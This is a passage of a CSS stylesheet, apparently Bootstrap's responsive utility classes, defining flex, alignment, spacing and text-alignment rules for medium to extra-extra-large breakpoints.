row-reverse !important; } .flex-md-column-reverse { flex-direction: column-reverse !important; } .flex-md-grow-0 { flex-grow: 0 !important; } .flex-md-grow-1 { flex-grow: 1 !important; } .flex-md-shrink-0 { flex-shrink: 0 !important; } .flex-md-shrink-1 { flex-shrink: 1 !important; } .flex-md-wrap { flex-wrap: wrap !important; } .flex-md-nowrap { flex-wrap: nowrap !important; } .flex-md-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-md-start { justify-content: flex-start !important; } .justify-content-md-end { justify-content: flex-end !important; } .justify-content-md-center { justify-content: center !important; } .justify-content-md-between { justify-content: space-between !important; } .justify-content-md-around { justify-content: space-around !important; } .justify-content-md-evenly { justify-content: space-evenly !important; } .align-items-md-start { align-items: flex-start !important; } .align-items-md-end { align-items: flex-end !important; } .align-items-md-center { align-items: center !important; } .align-items-md-baseline { align-items: baseline !important; } .align-items-md-stretch { align-items: stretch !important; } .align-content-md-start { align-content: flex-start !important; } .align-content-md-end { align-content: flex-end !important; } .align-content-md-center { align-content: center !important; } .align-content-md-between { align-content: space-between !important; } .align-content-md-around { align-content: space-around !important; } .align-content-md-stretch { align-content: stretch !important; } .align-self-md-auto { align-self: auto !important; } .align-self-md-start { align-self: flex-start !important; } .align-self-md-end { align-self: flex-end !important; } .align-self-md-center { align-self: center !important; } .align-self-md-baseline { align-self: baseline !important; } .align-self-md-stretch { align-self: stretch !important; } .order-md-first { order: -1 !important; } .order-md-0 { order: 0 !important; } .order-md-1 { order: 1 !important; } .order-md-2 { order: 2 !important; } .order-md-3 { order: 3 !important; } .order-md-4 { order: 4 !important; } .order-md-5 { order: 5 !important; } .order-md-last { order: 6 !important; } .m-md-0 { margin: 0 !important; } .m-md-1 { margin: 0.25rem !important; } .m-md-2 { margin: 0.5rem !important; } .m-md-3 { margin: 1rem !important; } .m-md-4 { margin: 1.5rem !important; } .m-md-5 { margin: 3rem !important; } .m-md-auto { margin: auto !important; } .mx-md-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-md-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-md-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-md-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-md-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-md-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-md-auto { margin-right: auto !important; margin-left: auto !important; } .my-md-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-md-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-md-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-md-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-md-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-md-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-md-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-md-0 { margin-top: 0 !important; } .mt-md-1 { margin-top: 0.25rem !important; } .mt-md-2 { margin-top: 0.5rem !important; } .mt-md-3 { margin-top: 1rem !important; } .mt-md-4 { margin-top: 1.5rem !important; } .mt-md-5 { margin-top: 3rem !important; } .mt-md-auto { margin-top: auto !important; } .me-md-0 { margin-right: 0 !important; } .me-md-1 { margin-right: 0.25rem !important; } .me-md-2 { margin-right: 0.5rem !important; } .me-md-3 { margin-right: 1rem !important; } .me-md-4 { margin-right: 1.5rem !important; } .me-md-5 { margin-right: 3rem !important; } .me-md-auto { margin-right: auto !important; } .mb-md-0 { margin-bottom: 0 !important; } .mb-md-1 { margin-bottom: 0.25rem !important; } .mb-md-2 { margin-bottom: 0.5rem !important; } .mb-md-3 { margin-bottom: 1rem !important; } .mb-md-4 { margin-bottom: 1.5rem !important; } .mb-md-5 { margin-bottom: 3rem !important; } .mb-md-auto { margin-bottom: auto !important; } .ms-md-0 { margin-left: 0 !important; } .ms-md-1 { margin-left: 0.25rem !important; } .ms-md-2 { margin-left: 0.5rem !important; } .ms-md-3 { margin-left: 1rem !important; } .ms-md-4 { margin-left: 1.5rem !important; } .ms-md-5 { margin-left: 3rem !important; } .ms-md-auto { margin-left: auto !important; } .m-md-n1 { margin: -0.25rem !important; } .m-md-n2 { margin: -0.5rem !important; } .m-md-n3 { margin: -1rem !important; } .m-md-n4 { margin: -1.5rem !important; } .m-md-n5 { margin: -3rem !important; } .mx-md-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-md-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-md-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-md-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-md-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-md-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-md-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-md-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-md-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-md-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-md-n1 { margin-top: -0.25rem !important; } .mt-md-n2 { margin-top: -0.5rem !important; } .mt-md-n3 { margin-top: -1rem !important; } .mt-md-n4 { margin-top: -1.5rem !important; } .mt-md-n5 { margin-top: -3rem !important; } .me-md-n1 { margin-right: -0.25rem !important; } .me-md-n2 { margin-right: -0.5rem !important; } .me-md-n3 { margin-right: -1rem !important; } .me-md-n4 { margin-right: -1.5rem !important; } .me-md-n5 { margin-right: -3rem !important; } .mb-md-n1 { margin-bottom: -0.25rem !important; } .mb-md-n2 { margin-bottom: -0.5rem !important; } .mb-md-n3 { margin-bottom: -1rem !important; } .mb-md-n4 { margin-bottom: -1.5rem !important; } .mb-md-n5 { margin-bottom: -3rem !important; } .ms-md-n1 { margin-left: -0.25rem !important; } .ms-md-n2 { margin-left: -0.5rem !important; } .ms-md-n3 { margin-left: -1rem !important; } .ms-md-n4 { margin-left: -1.5rem !important; } .ms-md-n5 { margin-left: -3rem !important; } .p-md-0 { padding: 0 !important; } .p-md-1 { padding: 0.25rem !important; } .p-md-2 { padding: 0.5rem !important; } .p-md-3 { padding: 1rem !important; } .p-md-4 { padding: 1.5rem !important; } .p-md-5 { padding: 3rem !important; } .px-md-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-md-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-md-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-md-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-md-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-md-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-md-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-md-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-md-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-md-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-md-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-md-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-md-0 { padding-top: 0 !important; } .pt-md-1 { padding-top: 0.25rem !important; } .pt-md-2 { padding-top: 0.5rem !important; } .pt-md-3 { padding-top: 1rem !important; } .pt-md-4 { padding-top: 1.5rem !important; } .pt-md-5 { padding-top: 3rem !important; } .pe-md-0 { padding-right: 0 !important; } .pe-md-1 { padding-right: 0.25rem !important; } .pe-md-2 { padding-right: 0.5rem !important; } .pe-md-3 { padding-right: 1rem !important; } .pe-md-4 { padding-right: 1.5rem !important; } .pe-md-5 { padding-right: 3rem !important; } .pb-md-0 { padding-bottom: 0 !important; } .pb-md-1 { padding-bottom: 0.25rem !important; } .pb-md-2 { padding-bottom: 0.5rem !important; } .pb-md-3 { padding-bottom: 1rem !important; } .pb-md-4 { padding-bottom: 1.5rem !important; } .pb-md-5 { padding-bottom: 3rem !important; } .ps-md-0 { padding-left: 0 !important; } .ps-md-1 { padding-left: 0.25rem !important; } .ps-md-2 { padding-left: 0.5rem !important; } .ps-md-3 { padding-left: 1rem !important; } .ps-md-4 { padding-left: 1.5rem !important; } .ps-md-5 { padding-left: 3rem !important; } .gap-md-0 { gap: 0 !important; } .gap-md-1 { gap: 0.25rem !important; } .gap-md-2 { gap: 0.5rem !important; } .gap-md-3 { gap: 1rem !important; } .gap-md-4 { gap: 1.5rem !important; } .gap-md-5 { gap: 3rem !important; } .text-md-start { text-align: left !important; } .text-md-end { text-align: right !important; } .text-md-center { text-align: center !important; } } @media (min-width: 992px) { .float-lg-start { float: left !important; } .float-lg-end { float: right !important; } .float-lg-none { float: none !important; } .d-lg-inline { display: inline !important; } .d-lg-inline-block { display: inline-block !important; } .d-lg-block { display: block !important; } .d-lg-grid { display: grid !important; } .d-lg-table { display: table !important; } .d-lg-table-row { display: table-row !important; } .d-lg-table-cell { display: table-cell !important; } .d-lg-flex { display: flex !important; } .d-lg-inline-flex { display: inline-flex !important; } .d-lg-none { display: none !important; } .flex-lg-fill { flex: 1 1 auto !important; } .flex-lg-row { flex-direction: row !important; } .flex-lg-column { flex-direction: column !important; } .flex-lg-row-reverse { flex-direction: row-reverse !important; } .flex-lg-column-reverse { flex-direction: column-reverse !important; } .flex-lg-grow-0 { flex-grow: 0 !important; } .flex-lg-grow-1 { flex-grow: 1 !important; } .flex-lg-shrink-0 { flex-shrink: 0 !important; } .flex-lg-shrink-1 { flex-shrink: 1 !important; } .flex-lg-wrap { flex-wrap: wrap !important; } .flex-lg-nowrap { flex-wrap: nowrap !important; } .flex-lg-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-lg-start { justify-content: flex-start !important; } .justify-content-lg-end { justify-content: flex-end !important; } .justify-content-lg-center { justify-content: center !important; } .justify-content-lg-between { justify-content: space-between !important; } .justify-content-lg-around { justify-content: space-around !important; } .justify-content-lg-evenly { justify-content: space-evenly !important; } .align-items-lg-start { align-items: flex-start !important; } .align-items-lg-end { align-items: flex-end !important; } .align-items-lg-center { align-items: center !important; } .align-items-lg-baseline { align-items: baseline !important; } .align-items-lg-stretch { align-items: stretch !important; } .align-content-lg-start { align-content: flex-start !important; } .align-content-lg-end { align-content: flex-end !important; } .align-content-lg-center { align-content: center !important; } .align-content-lg-between { align-content: space-between !important; } .align-content-lg-around { align-content: space-around !important; } .align-content-lg-stretch { align-content: stretch !important; } .align-self-lg-auto { align-self: auto !important; } .align-self-lg-start { align-self: flex-start !important; } .align-self-lg-end { align-self: flex-end !important; } .align-self-lg-center { align-self: center !important; } .align-self-lg-baseline { align-self: baseline !important; } .align-self-lg-stretch { align-self: stretch !important; } .order-lg-first { order: -1 !important; } .order-lg-0 { order: 0 !important; } .order-lg-1 { order: 1 !important; } .order-lg-2 { order: 2 !important; } .order-lg-3 { order: 3 !important; } .order-lg-4 { order: 4 !important; } .order-lg-5 { order: 5 !important; } .order-lg-last { order: 6 !important; } .m-lg-0 { margin: 0 !important; } .m-lg-1 { margin: 0.25rem !important; } .m-lg-2 { margin: 0.5rem !important; } .m-lg-3 { margin: 1rem !important; } .m-lg-4 { margin: 1.5rem !important; } .m-lg-5 { margin: 3rem !important; } .m-lg-auto { margin: auto !important; } .mx-lg-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-lg-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-lg-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-lg-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-lg-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-lg-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-lg-auto { margin-right: auto !important; margin-left: auto !important; } .my-lg-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-lg-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-lg-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-lg-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-lg-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-lg-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-lg-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-lg-0 { margin-top: 0 !important; } .mt-lg-1 { margin-top: 0.25rem !important; } .mt-lg-2 { margin-top: 0.5rem !important; } .mt-lg-3 { margin-top: 1rem !important; } .mt-lg-4 { margin-top: 1.5rem !important; } .mt-lg-5 { margin-top: 3rem !important; } .mt-lg-auto { margin-top: auto !important; } .me-lg-0 { margin-right: 0 !important; } .me-lg-1 { margin-right: 0.25rem !important; } .me-lg-2 { margin-right: 0.5rem !important; } .me-lg-3 { margin-right: 1rem !important; } .me-lg-4 { margin-right: 1.5rem !important; } .me-lg-5 { margin-right: 3rem !important; } .me-lg-auto { margin-right: auto !important; } .mb-lg-0 { margin-bottom: 0 !important; } .mb-lg-1 { margin-bottom: 0.25rem !important; } .mb-lg-2 { margin-bottom: 0.5rem !important; } .mb-lg-3 { margin-bottom: 1rem !important; } .mb-lg-4 { margin-bottom: 1.5rem !important; } .mb-lg-5 { margin-bottom: 3rem !important; } .mb-lg-auto { margin-bottom: auto !important; } .ms-lg-0 { margin-left: 0 !important; } .ms-lg-1 { margin-left: 0.25rem !important; } .ms-lg-2 { margin-left: 0.5rem !important; } .ms-lg-3 { margin-left: 1rem !important; } .ms-lg-4 { margin-left: 1.5rem !important; } .ms-lg-5 { margin-left: 3rem !important; } .ms-lg-auto { margin-left: auto !important; } .m-lg-n1 { margin: -0.25rem !important; } .m-lg-n2 { margin: -0.5rem !important; } .m-lg-n3 { margin: -1rem !important; } .m-lg-n4 { margin: -1.5rem !important; } .m-lg-n5 { margin: -3rem !important; } .mx-lg-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-lg-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-lg-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-lg-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-lg-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-lg-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-lg-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-lg-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-lg-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-lg-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-lg-n1 { margin-top: -0.25rem !important; } .mt-lg-n2 { margin-top: -0.5rem !important; } .mt-lg-n3 { margin-top: -1rem !important; } .mt-lg-n4 { margin-top: -1.5rem !important; } .mt-lg-n5 { margin-top: -3rem !important; } .me-lg-n1 { margin-right: -0.25rem !important; } .me-lg-n2 { margin-right: -0.5rem !important; } .me-lg-n3 { margin-right: -1rem !important; } .me-lg-n4 { margin-right: -1.5rem !important; } .me-lg-n5 { margin-right: -3rem !important; } .mb-lg-n1 { margin-bottom: -0.25rem !important; } .mb-lg-n2 { margin-bottom: -0.5rem !important; } .mb-lg-n3 { margin-bottom: -1rem !important; } .mb-lg-n4 { margin-bottom: -1.5rem !important; } .mb-lg-n5 { margin-bottom: -3rem !important; } .ms-lg-n1 { margin-left: -0.25rem !important; } .ms-lg-n2 { margin-left: -0.5rem !important; } .ms-lg-n3 { margin-left: -1rem !important; } .ms-lg-n4 { margin-left: -1.5rem !important; } .ms-lg-n5 { margin-left: -3rem !important; } .p-lg-0 { padding: 0 !important; } .p-lg-1 { padding: 0.25rem !important; } .p-lg-2 { padding: 0.5rem !important; } .p-lg-3 { padding: 1rem !important; } .p-lg-4 { padding: 1.5rem !important; } .p-lg-5 { padding: 3rem !important; } .px-lg-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-lg-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-lg-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-lg-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-lg-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-lg-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-lg-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-lg-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-lg-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-lg-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-lg-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-lg-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-lg-0 { padding-top: 0 !important; } .pt-lg-1 { padding-top: 0.25rem !important; } .pt-lg-2 { padding-top: 0.5rem !important; } .pt-lg-3 { padding-top: 1rem !important; } .pt-lg-4 { padding-top: 1.5rem !important; } .pt-lg-5 { padding-top: 3rem !important; } .pe-lg-0 { padding-right: 0 !important; } .pe-lg-1 { padding-right: 0.25rem !important; } .pe-lg-2 { padding-right: 0.5rem !important; } .pe-lg-3 { padding-right: 1rem !important; } .pe-lg-4 { padding-right: 1.5rem !important; } .pe-lg-5 { padding-right: 3rem !important; } .pb-lg-0 { padding-bottom: 0 !important; } .pb-lg-1 { padding-bottom: 0.25rem !important; } .pb-lg-2 { padding-bottom: 0.5rem !important; } .pb-lg-3 { padding-bottom: 1rem !important; } .pb-lg-4 { padding-bottom: 1.5rem !important; } .pb-lg-5 { padding-bottom: 3rem !important; } .ps-lg-0 { padding-left: 0 !important; } .ps-lg-1 { padding-left: 0.25rem !important; } .ps-lg-2 { padding-left: 0.5rem !important; } .ps-lg-3 { padding-left: 1rem !important; } .ps-lg-4 { padding-left: 1.5rem !important; } .ps-lg-5 { padding-left: 3rem !important; } .gap-lg-0 { gap: 0 !important; } .gap-lg-1 { gap: 0.25rem !important; } .gap-lg-2 { gap: 0.5rem !important; } .gap-lg-3 { gap: 1rem !important; } .gap-lg-4 { gap: 1.5rem !important; } .gap-lg-5 { gap: 3rem !important; } .text-lg-start { text-align: left !important; } .text-lg-end { text-align: right !important; } .text-lg-center { text-align: center !important; } } @media (min-width: 1200px) { .float-xl-start { float: left !important; } .float-xl-end { float: right !important; } .float-xl-none { float: none !important; } .d-xl-inline { display: inline !important; } .d-xl-inline-block { display: inline-block !important; } .d-xl-block { display: block !important; } .d-xl-grid { display: grid !important; } .d-xl-table { display: table !important; } .d-xl-table-row { display: table-row !important; } .d-xl-table-cell { display: table-cell !important; } .d-xl-flex { display: flex !important; } .d-xl-inline-flex { display: inline-flex !important; } .d-xl-none { display: none !important; } .flex-xl-fill { flex: 1 1 auto !important; } .flex-xl-row { flex-direction: row !important; } .flex-xl-column { flex-direction: column !important; } .flex-xl-row-reverse { flex-direction: row-reverse !important; } .flex-xl-column-reverse { flex-direction: column-reverse !important; } .flex-xl-grow-0 { flex-grow: 0 !important; } .flex-xl-grow-1 { flex-grow: 1 !important; } .flex-xl-shrink-0 { flex-shrink: 0 !important; } .flex-xl-shrink-1 { flex-shrink: 1 !important; } .flex-xl-wrap { flex-wrap: wrap !important; } .flex-xl-nowrap { flex-wrap: nowrap !important; } .flex-xl-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-xl-start { justify-content: flex-start !important; } .justify-content-xl-end { justify-content: flex-end !important; } .justify-content-xl-center { justify-content: center !important; } .justify-content-xl-between { justify-content: space-between !important; } .justify-content-xl-around { justify-content: space-around !important; } .justify-content-xl-evenly { justify-content: space-evenly !important; } .align-items-xl-start { align-items: flex-start !important; } .align-items-xl-end { align-items: flex-end !important; } .align-items-xl-center { align-items: center !important; } .align-items-xl-baseline { align-items: baseline !important; } .align-items-xl-stretch { align-items: stretch !important; } .align-content-xl-start { align-content: flex-start !important; } .align-content-xl-end { align-content: flex-end !important; } .align-content-xl-center { align-content: center !important; } .align-content-xl-between { align-content: space-between !important; } .align-content-xl-around { align-content: space-around !important; } .align-content-xl-stretch { align-content: stretch !important; } .align-self-xl-auto { align-self: auto !important; } .align-self-xl-start { align-self: flex-start !important; } .align-self-xl-end { align-self: flex-end !important; } .align-self-xl-center { align-self: center !important; } .align-self-xl-baseline { align-self: baseline !important; } .align-self-xl-stretch { align-self: stretch !important; } .order-xl-first { order: -1 !important; } .order-xl-0 { order: 0 !important; } .order-xl-1 { order: 1 !important; } .order-xl-2 { order: 2 !important; } .order-xl-3 { order: 3 !important; } .order-xl-4 { order: 4 !important; } .order-xl-5 { order: 5 !important; } .order-xl-last { order: 6 !important; } .m-xl-0 { margin: 0 !important; } .m-xl-1 { margin: 0.25rem !important; } .m-xl-2 { margin: 0.5rem !important; } .m-xl-3 { margin: 1rem !important; } .m-xl-4 { margin: 1.5rem !important; } .m-xl-5 { margin: 3rem !important; } .m-xl-auto { margin: auto !important; } .mx-xl-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-xl-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-xl-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-xl-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-xl-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-xl-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-xl-auto { margin-right: auto !important; margin-left: auto !important; } .my-xl-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-xl-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-xl-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-xl-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-xl-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-xl-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-xl-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-xl-0 { margin-top: 0 !important; } .mt-xl-1 { margin-top: 0.25rem !important; } .mt-xl-2 { margin-top: 0.5rem !important; } .mt-xl-3 { margin-top: 1rem !important; } .mt-xl-4 { margin-top: 1.5rem !important; } .mt-xl-5 { margin-top: 3rem !important; } .mt-xl-auto { margin-top: auto !important; } .me-xl-0 { margin-right: 0 !important; } .me-xl-1 { margin-right: 0.25rem !important; } .me-xl-2 { margin-right: 0.5rem !important; } .me-xl-3 { margin-right: 1rem !important; } .me-xl-4 { margin-right: 1.5rem !important; } .me-xl-5 { margin-right: 3rem !important; } .me-xl-auto { margin-right: auto !important; } .mb-xl-0 { margin-bottom: 0 !important; } .mb-xl-1 { margin-bottom: 0.25rem !important; } .mb-xl-2 { margin-bottom: 0.5rem !important; } .mb-xl-3 { margin-bottom: 1rem !important; } .mb-xl-4 { margin-bottom: 1.5rem !important; } .mb-xl-5 { margin-bottom: 3rem !important; } .mb-xl-auto { margin-bottom: auto !important; } .ms-xl-0 { margin-left: 0 !important; } .ms-xl-1 { margin-left: 0.25rem !important; } .ms-xl-2 { margin-left: 0.5rem !important; } .ms-xl-3 { margin-left: 1rem !important; } .ms-xl-4 { margin-left: 1.5rem !important; } .ms-xl-5 { margin-left: 3rem !important; } .ms-xl-auto { margin-left: auto !important; } .m-xl-n1 { margin: -0.25rem !important; } .m-xl-n2 { margin: -0.5rem !important; } .m-xl-n3 { margin: -1rem !important; } .m-xl-n4 { margin: -1.5rem !important; } .m-xl-n5 { margin: -3rem !important; } .mx-xl-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-xl-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-xl-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-xl-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-xl-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-xl-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-xl-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-xl-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-xl-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-xl-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-xl-n1 { margin-top: -0.25rem !important; } .mt-xl-n2 { margin-top: -0.5rem !important; } .mt-xl-n3 { margin-top: -1rem !important; } .mt-xl-n4 { margin-top: -1.5rem !important; } .mt-xl-n5 { margin-top: -3rem !important; } .me-xl-n1 { margin-right: -0.25rem !important; } .me-xl-n2 { margin-right: -0.5rem !important; } .me-xl-n3 { margin-right: -1rem !important; } .me-xl-n4 { margin-right: -1.5rem !important; } .me-xl-n5 { margin-right: -3rem !important; } .mb-xl-n1 { margin-bottom: -0.25rem !important; } .mb-xl-n2 { margin-bottom: -0.5rem !important; } .mb-xl-n3 { margin-bottom: -1rem !important; } .mb-xl-n4 { margin-bottom: -1.5rem !important; } .mb-xl-n5 { margin-bottom: -3rem !important; } .ms-xl-n1 { margin-left: -0.25rem !important; } .ms-xl-n2 { margin-left: -0.5rem !important; } .ms-xl-n3 { margin-left: -1rem !important; } .ms-xl-n4 { margin-left: -1.5rem !important; } .ms-xl-n5 { margin-left: -3rem !important; } .p-xl-0 { padding: 0 !important; } .p-xl-1 { padding: 0.25rem !important; } .p-xl-2 { padding: 0.5rem !important; } .p-xl-3 { padding: 1rem !important; } .p-xl-4 { padding: 1.5rem !important; } .p-xl-5 { padding: 3rem !important; } .px-xl-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-xl-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-xl-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-xl-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-xl-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-xl-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-xl-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-xl-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-xl-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-xl-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-xl-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-xl-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-xl-0 { padding-top: 0 !important; } .pt-xl-1 { padding-top: 0.25rem !important; } .pt-xl-2 { padding-top: 0.5rem !important; } .pt-xl-3 { padding-top: 1rem !important; } .pt-xl-4 { padding-top: 1.5rem !important; } .pt-xl-5 { padding-top: 3rem !important; } .pe-xl-0 { padding-right: 0 !important; } .pe-xl-1 { padding-right: 0.25rem !important; } .pe-xl-2 { padding-right: 0.5rem !important; } .pe-xl-3 { padding-right: 1rem !important; } .pe-xl-4 { padding-right: 1.5rem !important; } .pe-xl-5 { padding-right: 3rem !important; } .pb-xl-0 { padding-bottom: 0 !important; } .pb-xl-1 { padding-bottom: 0.25rem !important; } .pb-xl-2 { padding-bottom: 0.5rem !important; } .pb-xl-3 { padding-bottom: 1rem !important; } .pb-xl-4 { padding-bottom: 1.5rem !important; } .pb-xl-5 { padding-bottom: 3rem !important; } .ps-xl-0 { padding-left: 0 !important; } .ps-xl-1 { padding-left: 0.25rem !important; } .ps-xl-2 { padding-left: 0.5rem !important; } .ps-xl-3 { padding-left: 1rem !important; } .ps-xl-4 { padding-left: 1.5rem !important; } .ps-xl-5 { padding-left: 3rem !important; } .gap-xl-0 { gap: 0 !important; } .gap-xl-1 { gap: 0.25rem !important; } .gap-xl-2 { gap: 0.5rem !important; } .gap-xl-3 { gap: 1rem !important; } .gap-xl-4 { gap: 1.5rem !important; } .gap-xl-5 { gap: 3rem !important; } .text-xl-start { text-align: left !important; } .text-xl-end { text-align: right !important; } .text-xl-center { text-align: center !important; } } @media (min-width: 1400px) { .float-xxl-start { float: left !important; } .float-xxl-end { float: right !important; } .float-xxl-none { float: none !important; } .d-xxl-inline { display: inline !important; } .d-xxl-inline-block { display: inline-block !important; } .d-xxl-block { display: block !important; } .d-xxl-grid { display: grid !important; } .d-xxl-table { display: table !important; } .d-xxl-table-row { display: table-row !important; } .d-xxl-table-cell { display: table-cell !important; } .d-xxl-flex { display: flex !important; } .d-xxl-inline-flex { display: inline-flex !important; } .d-xxl-none { display: none !important; } .flex-xxl-fill { flex: 1 1 auto !important; } .flex-xxl-row { flex-direction: row !important; } .flex-xxl-column { flex-direction: column !important; } .flex-xxl-row-reverse { flex-direction: row-reverse !important; } .flex-xxl-column-reverse { flex-direction: column-reverse !important; } .flex-xxl-grow-0 { flex-grow: 0 !important; } .flex-xxl-grow-1 { flex-grow: 1 !important; } .flex-xxl-shrink-0 { flex-shrink: 0 !important; } .flex-xxl-shrink-1 { flex-shrink: 1 !important; } .flex-xxl-wrap { flex-wrap: wrap !important; } .flex-xxl-nowrap { flex-wrap: nowrap !important; } .flex-xxl-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-xxl-start { justify-content: flex-start !important; } .justify-content-xxl-end { justify-content: flex-end !important; } .justify-content-xxl-center { justify-content: center !important; } .justify-content-xxl-between { justify-content: space-between !important; } .justify-content-xxl-around { justify-content: space-around !important; } .justify-content-xxl-evenly { justify-content: space-evenly !important; } .align-items-xxl-start { align-items: flex-start !important; } .align-items-xxl-end { align-items: flex-end !important; } .align-items-xxl-center { align-items: center !important; } .align-items-xxl-baseline { align-items: baseline !important; } .align-items-xxl-stretch { align-items: stretch !important; } .align-content-xxl-start { align-content: flex-start !important; } .align-content-xxl-end { align-content: flex-end !important; } .align-content-xxl-center { align-content: center !important; } .align-content-xxl-between { align-content: 